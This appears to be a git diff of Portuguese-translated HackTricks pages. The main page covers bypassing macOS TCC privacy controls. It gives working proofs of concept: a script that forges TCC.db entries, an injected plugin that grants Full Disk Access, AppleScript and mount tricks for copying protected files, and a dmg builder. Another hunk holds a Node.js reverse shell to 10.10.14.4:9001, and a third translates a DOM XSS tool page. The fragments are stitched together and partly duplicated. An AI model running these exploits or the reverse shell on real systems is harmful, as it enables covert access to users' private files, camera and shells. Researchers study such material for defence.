$> launchctl setenv HOME /tmp/tccbypass
# restart the TCC daemon
$> launchctl stop com.apple.tccd && launchctl start com.apple.tccd
# print out contents of TCC database and then give Terminal access to Documents
$> sqlite3 TCC.db .dump
$> sqlite3 TCC.db "INSERT INTO access
VALUES('kTCCServiceSystemPolicyDocumentsFolder',
'com.apple.Terminal', 0, 1, 1,
X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',
NULL,
NULL,
'UNUSED',
NULL,
NULL,
1333333333333337);"
# list Documents directory without prompting the end user
$> ls ~/Documents
```
### CVE-2021-30761
As notas tinham acesso a locais protegidos pelo TCC, mas quando uma nota é criada, ela é **criada em um local não protegido**. Portanto, é possível pedir para as notas copiarem um arquivo protegido em uma nota (ou seja, em um local não protegido) e, em seguida, acessar o arquivo:
<figure><img src="../../../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
### CVE-2023-26818 - Telegram
O Telegram tinha as permissões `com.apple.security.cs.allow-dyld-environment-variables` e `com.apple.security.cs.disable-library-validation`, então era possível abusar dele para **obter acesso às suas permissões**, como gravar com a câmera. Você pode [**encontrar o payload no writeup**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/).
O atributo estendido `com.apple.macl` **não pode ser apagado** como outros atributos estendidos, pois ele é **protegido pelo SIP**. No entanto, como [**explicado neste post**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), é possível desabilitá-lo **compactando** o arquivo, **apagando-o** e **descompactando-o**.
## Referências
* [**https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive)
* [**https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/)
* [**https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8**](https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8)
* [**https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/**](https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/)
* [**https://www.youtube.com/watch?v=W9GxnP8c8FU**](https://www.youtube.com/watch?v=W9GxnP8c8FU)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Você trabalha em uma **empresa de segurança cibernética**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -0,0 +1,395 @@
# Bypasses do macOS TCC
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Por funcionalidade
### Bypass de escrita
Isso não é um bypass, é apenas como o TCC funciona: **ele não protege contra escrita**. Se o Terminal **não tiver acesso para ler a área de trabalho de um usuário, ainda pode escrever nela**:
```shell-session
username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
username@hostname ~ % echo asd > Desktop/lalala
username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
username@hostname ~ % cat Desktop/lalala
asd
```
O atributo estendido `com.apple.macl` é adicionado ao novo arquivo para dar acesso ao aplicativo criador para lê-lo.
### Bypass SSH
Por padrão, o acesso via SSH terá "Acesso total ao disco". Para desativar isso, você precisa tê-lo listado, mas desativado (removê-lo da lista não removerá esses privilégios):
![](<../../../../.gitbook/assets/image (569).png>)
Aqui você pode encontrar exemplos de como alguns malwares conseguiram contornar essa proteção:
* [https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/](https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/)
### Manipular extensões - CVE-2022-26767
O atributo `com.apple.macl` é dado a arquivos para dar a uma determinada aplicação permissões para lê-lo. Este atributo é definido quando arrasta-se e solta-se um arquivo sobre um aplicativo, ou quando um usuário clica duas vezes em um arquivo para abri-lo com o aplicativo padrão.
Portanto, um usuário poderia registrar um aplicativo malicioso para manipular todas as extensões e chamar o Launch Services para abrir qualquer arquivo (assim, o arquivo malicioso terá acesso para lê-lo).
### iCloud
Com a permissão `com.apple.private.icloud-account-access`, é possível se comunicar com o serviço XPC `com.apple.iCloudHelper`, que fornecerá tokens do iCloud.
O iMovie e o Garageband tinham essa permissão e outras que permitiam.
### Bypass do Electron
O código JS de um aplicativo Electron não é assinado, então um invasor poderia mover o aplicativo para um local gravável, injetar código JS malicioso e lançar esse aplicativo e abusar das permissões do TCC.
O Electron está trabalhando na chave `ElectronAsarIntegrity` em Info.plist que conterá um hash do arquivo app.asar para verificar a integridade do código JS antes de executá-lo.
### kTCCServiceAppleEvents / Automação
Um aplicativo com a permissão `kTCCServiceAppleEvents` poderá controlar outros aplicativos. Isso significa que ele poderia ser capaz de abusar das permissões concedidas aos outros aplicativos.
Para mais informações sobre Scripts da Apple, consulte:
{% content-ref url="macos-apple-scripts.md" %}
[macos-apple-scripts.md](macos-apple-scripts.md)
{% endcontent-ref %}
Por exemplo, se um aplicativo tiver permissão de Automação sobre o `iTerm`, por exemplo, neste exemplo o `Terminal` tem acesso sobre o iTerm:
<figure><img src="../../../../.gitbook/assets/image (2) (2) (1).png" alt=""><figcaption></figcaption></figure>
#### Sobre o iTerm
O Terminal, que não tem FDA, pode chamar o iTerm, que tem, e usá-lo para executar ações:
{% code title="iterm.script" %}
```applescript
tell application "iTerm"
activate
tell current window
create tab with default profile
end tell
tell current session of current window
write text "cp ~/Desktop/private.txt /tmp"
end tell
end tell
```
{% endcode %}
```bash
osascript iterm.script
```
#### Sobre o Finder
Ou se um aplicativo tem acesso sobre o Finder, ele pode ter um script como este:
```applescript
set a_user to do shell script "logname"
tell application "Finder"
set desc to path to home folder
set copyFile to duplicate (item "private.txt" of folder "Desktop" of folder a_user of item "Users" of disk of home) to folder desc with replacing
set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alias)) as text
end tell
do shell script "rm " & POSIX path of (copyFile as alias)
```
## Comportamento do aplicativo
### CVE-20209934 - TCC <a href="#c19b" id="c19b"></a>
O daemon **tccd** do espaço do usuário está usando a variável de ambiente **`HOME`** para acessar o banco de dados de usuários do TCC em: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
De acordo com [esta postagem do Stack Exchange](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) e porque o daemon TCC está sendo executado via `launchd` dentro do domínio do usuário atual, é possível **controlar todas as variáveis de ambiente** passadas para ele.\
Assim, um **atacante poderia definir a variável de ambiente `$HOME`** em **`launchctl`** para apontar para um **diretório controlado**, **reiniciar** o **daemon TCC** e, em seguida, **modificar diretamente o banco de dados do TCC** para dar a si mesmo **todas as permissões do TCC disponíveis** sem nunca solicitar ao usuário final.\
PoC:
```bash
# reset database just in case (no cheating!)
$> tccutil reset All
# mimic TCC's directory structure from ~/Library
$> mkdir -p "/tmp/tccbypass/Library/Application Support/com.apple.TCC"
# cd into the new directory
$> cd "/tmp/tccbypass/Library/Application Support/com.apple.TCC/"
# set launchd $HOME to this temporary directory
$> launchctl setenv HOME /tmp/tccbypass
# restart the TCC daemon
$> launchctl stop com.apple.tccd && launchctl start com.apple.tccd
# print out contents of TCC database and then give Terminal access to Documents
$> sqlite3 TCC.db .dump
$> sqlite3 TCC.db "INSERT INTO access
VALUES('kTCCServiceSystemPolicyDocumentsFolder',
'com.apple.Terminal', 0, 1, 1,
X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',
NULL,
NULL,
'UNUSED',
NULL,
NULL,
1333333333333337);"
# list Documents directory without prompting the end user
$> ls ~/Documents
```
### CVE-2021-30761 - Notas
As notas tinham acesso a locais protegidos pelo TCC, mas quando uma nota é criada, ela é **criada em um local não protegido**. Então, você poderia pedir para as notas copiarem um arquivo protegido em uma nota (ou seja, em um local não protegido) e, em seguida, acessar o arquivo:
<figure><img src="../../../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
### CVE-2021-XXXX - Translocação
O binário `/usr/libexec/lsd` com a biblioteca `libsecurity_translocate` tinha a permissão `com.apple.private.nullfs_allow`, o que permitia criar um **ponto de montagem nullfs** e tinha a permissão `com.apple.private.tcc.allow` com **`kTCCServiceSystemPolicyAllFiles`** para acessar todos os arquivos.
Era possível adicionar o atributo de quarentena à "Library", chamar o serviço XPC **`com.apple.security.translocation`** e, em seguida, mapear a Library para **`$TMPDIR/AppTranslocation/d/d/Library`**, onde todos os documentos dentro de Library poderiam ser **acessados**.
### Rastreamento SQL
Se a variável de ambiente **`SQLITE_AUTO_TRACE`** estiver definida, a biblioteca **`libsqlite3.dylib`** começará a **registrar** todas as consultas SQL. Muitos aplicativos usavam essa biblioteca, então era possível registrar todas as suas consultas SQLite.
Vários aplicativos da Apple usavam essa biblioteca para acessar informações protegidas pelo TCC.
```bash
# Set this env variable everywhere
launchctl setenv SQLITE_AUTO_TRACE 1
```
### Apple Remote Desktop
Como root, você pode habilitar este serviço e o agente ARD terá acesso total ao disco, o que pode ser abusado por um usuário para fazer uma cópia de um novo banco de dados de usuário TCC.
## Por plugins
Plugins são códigos extras geralmente na forma de bibliotecas ou plist, que serão carregados pela aplicação principal e executarão sob seu contexto. Portanto, se a aplicação principal tiver acesso a arquivos restritos do TCC (por meio de permissões concedidas ou direitos), o código personalizado também terá.
### CVE-2020-27937 - Directory Utility
A aplicação `/System/Library/CoreServices/Applications/Directory Utility.app` tinha o direito `kTCCServiceSystemPolicySysAdminFiles`, carregava plugins com extensão `.daplug` e não tinha o tempo de execução endurecido.
Para tornar essa CVE uma arma, o `NFSHomeDirectory` é alterado (abusando do direito anterior) para poder assumir o banco de dados TCC dos usuários e contornar o TCC.
Para mais informações, consulte o [**relatório original**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/).
### CVE-2020-29621 - Coreaudiod
O binário `/usr/sbin/coreaudiod` tinha os direitos `com.apple.security.cs.disable-library-validation` e `com.apple.private.tcc.manager`. O primeiro permitindo a injeção de código e o segundo dando acesso para gerenciar o TCC.
Este binário permitia carregar plug-ins de terceiros da pasta `/Library/Audio/Plug-Ins/HAL`. Portanto, era possível carregar um plugin e abusar das permissões do TCC com este PoC:
```objectivec
#import <Foundation/Foundation.h>
#import <Security/Security.h>
extern void TCCAccessSetForBundleIdAndCodeRequirement(CFStringRef TCCAccessCheckType, CFStringRef bundleID, CFDataRef requirement, CFBooleanRef giveAccess);
void add_tcc_entry() {
CFStringRef TCCAccessCheckType = CFSTR("kTCCServiceSystemPolicyAllFiles");
CFStringRef bundleID = CFSTR("com.apple.Terminal");
CFStringRef pureReq = CFSTR("identifier \"com.apple.Terminal\" and anchor apple");
SecRequirementRef requirement = NULL;
SecRequirementCreateWithString(pureReq, kSecCSDefaultFlags, &requirement);
CFDataRef requirementData = NULL;
SecRequirementCopyData(requirement, kSecCSDefaultFlags, &requirementData);
TCCAccessSetForBundleIdAndCodeRequirement(TCCAccessCheckType, bundleID, requirementData, kCFBooleanTrue);
}
__attribute__((constructor)) static void constructor(int argc, const char **argv) {
add_tcc_entry();
NSLog(@"[+] Exploitation finished...");
exit(0);
```
Para mais informações, consulte o [**relatório original**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/).
### Plug-ins da Camada de Abstração de Dispositivos (DAL)
Aplicativos do sistema que abrem o fluxo da câmera via Core Media I/O (aplicativos com **`kTCCServiceCamera`**) carregam **no processo esses plug-ins** localizados em `/Library/CoreMediaIO/Plug-Ins/DAL` (não restritos pelo SIP).
Apenas armazenar uma biblioteca com o **construtor** comum funcionará para **injetar código**.
Vários aplicativos da Apple eram vulneráveis a isso.
## Por injeção de processo
Existem diferentes técnicas para injetar código dentro de um processo e abusar de seus privilégios TCC:
{% content-ref url="../../macos-proces-abuse/" %}
[macos-proces-abuse](../../macos-proces-abuse/)
{% endcontent-ref %}
### Firefox
O aplicativo Firefox ainda é vulnerável tendo a permissão `com.apple.security.cs.disable-library-validation`:
```xml
codesign -d --entitlements :- /Applications/Firefox.app
Executable=/Applications/Firefox.app/Contents/MacOS/firefox
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.cs.allow-unsigned-executable-memory</key>
<true/>
<key>com.apple.security.cs.disable-library-validation</key>
<true/>
<key>com.apple.security.device.audio-input</key>
<true/>
<key>com.apple.security.device.camera</key>
<true/>
<key>com.apple.security.personal-information.location</key>
<true/>
<key>com.apple.security.smartcard</key>
<true/>
</dict>
</plist>
```
Para mais informações sobre como explorar isso facilmente, [verifique o relatório original](https://wojciechregula.blog/post/how-to-rob-a-firefox/).
### CVE-2020-10006
O binário `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` tinha as permissões **`com.apple.private.tcc.allow`** e **`com.apple.security.get-task-allow`**, o que permitia injetar código dentro do processo e usar os privilégios TCC.
### CVE-2023-26818 - Telegram
O Telegram tinha as permissões `com.apple.security.cs.allow-dyld-environment-variables` e `com.apple.security.cs.disable-library-validation`, então era possível abusar disso para **acessar suas permissões**, como gravar com a câmera. Você pode [**encontrar o payload no relatório**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/).
## Por invocações abertas
É possível invocar aberturas em sandboxed&#x20;
### Scripts do Terminal
É bastante comum dar ao terminal **Acesso Total ao Disco (FDA)**, pelo menos em computadores usados por pessoas de tecnologia. E é possível invocar scripts **`.terminal`** usando isso.
Os scripts **`.terminal`** são arquivos plist como este com o comando a ser executado na chave **`CommandString`**:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>CommandString</key>
<string>cp ~/Desktop/private.txt /tmp/;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>
```
Uma aplicação poderia escrever um script de terminal em um local como /tmp e executá-lo com um comando como:
```objectivec
// Write plist in /tmp/tcc.terminal
[...]
NSTask *task = [[NSTask alloc] init];
NSString * exploit_location = @"/tmp/tcc.terminal";
task.launchPath = @"/usr/bin/open";
task.arguments = @[@"-a", @"/System/Applications/Utilities/Terminal.app",
exploit_location]; task.standardOutput = pipe;
[task launch];
```
## Por montagem
### CVE-2020-9771 - bypass do TCC mount\_apfs e escalonamento de privilégios
**Qualquer usuário** (mesmo não privilegiado) pode criar e montar um snapshot do time machine e **acessar TODOS os arquivos** desse snapshot.\
O **único privilégio** necessário é para a aplicação usada (como o `Terminal`) ter acesso de **Acesso Total ao Disco** (FDA) (`kTCCServiceSystemPolicyAllfiles`), que precisa ser concedido por um administrador.
{% code overflow="wrap" %}
```bash
# Create snapshot
tmutil localsnapshot
# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local
# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap
# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap
# Access it
ls /tmp/snap/Users/admin_user # This will work
```
{% endcode %}
Uma explicação mais detalhada pode ser encontrada no [**relatório original**](https://theevilbit.github.io/posts/cve\_2020\_9771/)**.**
### CVE-2021-1784 e CVE-2021-30808 - Montagem sobre arquivo TCC
Mesmo que o arquivo TCC DB esteja protegido, era possível **montar sobre o diretório** um novo arquivo TCC.db:
{% code overflow="wrap" %}
```bash
# CVE-2021-1784
## Mount over Library/Application\ Support/com.apple.TCC
hdiutil attach -owners off -mountpoint Library/Application\ Support/com.apple.TCC test.dmg
# CVE-2021-1784
## Mount over ~/Library
hdiutil attach -readonly -owners off -mountpoint ~/Library /tmp/tmp.dmg
```
{% endcode %} (This is a markdown tag and should not be translated)
```python
# This was the python function to create the dmg
def create_dmg():
os.system("hdiutil create /tmp/tmp.dmg -size 2m -ov -volname \"tccbypass\" -fs APFS 1>/dev/null")
os.system("mkdir /tmp/mnt")
os.system("hdiutil attach -owners off -mountpoint /tmp/mnt /tmp/tmp.dmg 1>/dev/null")
os.system("mkdir -p /tmp/mnt/Application\ Support/com.apple.TCC/")
os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db")
os.system("hdiutil detach /tmp/mnt 1>/dev/null")
```
Verifique o **exploit completo** no [**artigo original**](https://theevilbit.github.io/posts/cve-2021-30808/).
### asr
A ferramenta **`/usr/sbin/asr`** permitia copiar todo o disco e montá-lo em outro lugar, contornando as proteções do TCC.
### Serviços de localização
Existe um terceiro banco de dados do TCC em **`/var/db/locationd/clients.plist`** para indicar os clientes autorizados a **acessar os serviços de localização**.\
A pasta **`/var/db/locationd/` não estava protegida da montagem de DMG**, então era possível montar nosso próprio plist.
## Por aplicativos de inicialização
{% content-ref url="../../../macos-auto-start-locations.md" %}
[macos-auto-start-locations.md](../../../macos-auto-start-locations.md)
{% endcontent-ref %}
## Por grep
Em várias ocasiões, arquivos armazenam informações sensíveis como e-mails, números de telefone, mensagens... em locais não protegidos (o que conta como uma vulnerabilidade na Apple).
<figure><img src="../../../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
## Referência
* [**https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8**](https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8)
* [**https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/**](https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/)
* [**20+ Maneiras de Contornar os Mecanismos de Privacidade do seu macOS**](https://www.youtube.com/watch?v=W9GxnP8c8FU)
* [**Knockout Win Against TCC - 20+ NEW Ways to Bypass Your MacOS Privacy Mechanisms**](https://www.youtube.com/watch?v=a9hsxPdRxsY)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -13,7 +13,7 @@ const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
```
* Configure o WebHook (o canal e o nome de usuário para postar devem existir):
* Configure o WebHook (o canal e o nome de usuário da postagem devem existir):
<figure><img src="../../.gitbook/assets/image (1) (8).png" alt=""><figcaption></figcaption></figure>
@ -24,6 +24,6 @@ exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
* Salve as alterações
* Obtenha a URL do WebHook gerado:
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
* Chame-o com curl e você deve receber o rev shell

View file

@ -1,13 +1,13 @@
# Invador DOM
## DOM Invader
O Invador DOM é uma ferramenta de navegador instalada no navegador integrado do Burp. Ele ajuda a **detectar vulnerabilidades DOM XSS** usando várias fontes e sinks, incluindo mensagens da web e poluição de protótipos. A ferramenta é pré-instalada como uma extensão.
O DOM Invader é uma ferramenta do navegador instalada no navegador integrado do Burp. Ele ajuda a **detectar vulnerabilidades de XSS DOM** usando várias fontes e sinks, incluindo mensagens da web e poluição de protótipos. A ferramenta é pré-instalada como uma extensão.
O Invador DOM integra uma guia dentro do painel DevTools do navegador, permitindo o seguinte:
O DOM Invader integra uma guia dentro do painel DevTools do navegador, permitindo o seguinte:
1. **Identificação de sinks controláveis** em uma página da web para teste de DOM XSS, fornecendo contexto e detalhes de sanitização.
2. **Registro, edição e reenvio de mensagens da web** enviadas pelo método `postMessage()` para teste de DOM XSS. O Invador DOM também pode detectar automaticamente vulnerabilidades usando mensagens da web especialmente criadas.
1. **Identificação de sinks controláveis** em uma página da web para teste de XSS DOM, fornecendo contexto e detalhes de sanitização.
2. **Registro, edição e reenvio de mensagens da web** enviadas pelo método `postMessage()` para teste de XSS DOM. O DOM Invader também pode detectar automaticamente vulnerabilidades usando mensagens da web especialmente criadas.
3. Detecção de **fontes de poluição de protótipos do lado do cliente** e varredura de gadgets controláveis enviados para sinks arriscados.
4. Identificação de **vulnerabilidades de clobbering DOM**.
4. Identificação de **vulnerabilidades de clobbering do DOM**.
### Habilitar
@ -15,33 +15,33 @@ No navegador integrado do Burp, vá para a **extensão Burp** e habilite-a:
<figure><img src="../../.gitbook/assets/image (4) (1).png" alt=""><figcaption></figcaption></figure>
Agora atualize a página e na **Dev Tools** você encontrará a **guia Invador DOM:**
Agora atualize a página e na **Dev Tools** você encontrará a **guia DOM Invader:**
<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
### Injetar um canário
### Injetar um Canary
Na imagem anterior, você pode ver um **grupo aleatório de caracteres, que é o canário**. Agora você deve começar a **injetá-lo** em diferentes partes da web (parâmetros, formulários, URL...) e clicar em pesquisar cada vez. O Invador DOM verificará se o **canário terminou em algum sink interessante** que possa ser explorado.
Na imagem anterior, você pode ver um **grupo aleatório de caracteres, que é o Canary**. Agora você deve começar a **injetá-lo** em diferentes partes da web (parâmetros, formulários, URL...) e clicar em pesquisar a cada vez. O DOM Invader verificará se o **canary terminou em algum sink interessante** que possa ser explorado.
Além disso, as opções **Injetar parâmetros de URL** e Injetar formulários abrirão automaticamente uma **nova guia** **injetando** o **canário** em todos os **parâmetros de URL** e **formulários** que encontrar.
Além disso, as opções **Injetar parâmetros de URL** e Injetar formulários abrirão automaticamente uma **nova guia** **injetando** o **canary** em todos os **parâmetros de URL** e **formulários** que encontrar.
### Injetar um canário vazio
### Injetar um Canary vazio
Se você quiser apenas encontrar sinks potenciais que a página possa ter, mesmo que não sejam exploráveis, você pode **procurar por um canário vazio**.
Se você quiser apenas encontrar sinks potenciais que a página possa ter, mesmo que não sejam exploráveis, você pode **procurar por um canary vazio**.
### Mensagens da web
### Mensagens da Web
O Invador DOM permite testar o DOM XSS usando mensagens da web com recursos como:
O DOM Invader permite testar o XSS DOM usando mensagens da web com recursos como:
1. **Registro de mensagens da web** enviadas via `postMessage()`, semelhante ao registro de histórico de solicitação/resposta HTTP do Burp Proxy.
2. **Modificação** e **reenvio** de mensagens da web para testar manualmente o DOM XSS, semelhante à função do Burp Repeater.
3. **Alteração automática** e envio de mensagens da web para sondar o DOM XSS.
2. **Modificação** e **reenvio** de mensagens da web para testar manualmente o XSS DOM, semelhante à função do Burp Repeater.
3. **Alteração automática** e envio de mensagens da web para sondar o XSS DOM.
#### Detalhes da mensagem
Você pode clicar em cada mensagem para ver informações mais detalhadas sobre ela, incluindo se as propriedades `origin`, `data` ou `source` da mensagem são acessadas pelo JavaScript do lado do cliente.
* **`origin`**: Se as informações de origem da mensagem não forem verificadas, você poderá enviar mensagens entre origens para o manipulador de eventos **de um domínio externo arbitrário**. Mas se for verificado, ainda pode ser inseguro.
* **`origin`**: Se as informações de **origem da mensagem não forem verificadas**, você poderá enviar mensagens entre origens para o manipulador de eventos **de um domínio externo arbitrário**. Mas se for verificado, ainda pode ser inseguro.
* **`data`**: Aqui é onde a carga útil é enviada. Se esses dados não forem usados, o sink será inútil.
* **`source`**: Avalia se a propriedade de origem, geralmente referenciando um iframe, é validada em vez da origem. Mesmo que isso seja verificado, não garante que a validação não possa ser contornada.
@ -51,9 +51,9 @@ Você pode clicar em cada mensagem para ver informações mais detalhadas sobre
2. Edite o campo **Dados** conforme necessário.
3. Clique em **Enviar**.
### Poluição de protótipos
### Poluição de Protótipos
O Invador DOM também pode procurar por **vulnerabilidades de poluição de protótipos**. Primeiro, você precisa habilitá-lo:
O DOM Invader também pode procurar por **vulnerabilidades de Poluição de Protótipos**. Primeiro, você precisa habilitá-lo:
<figure><img src="../../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>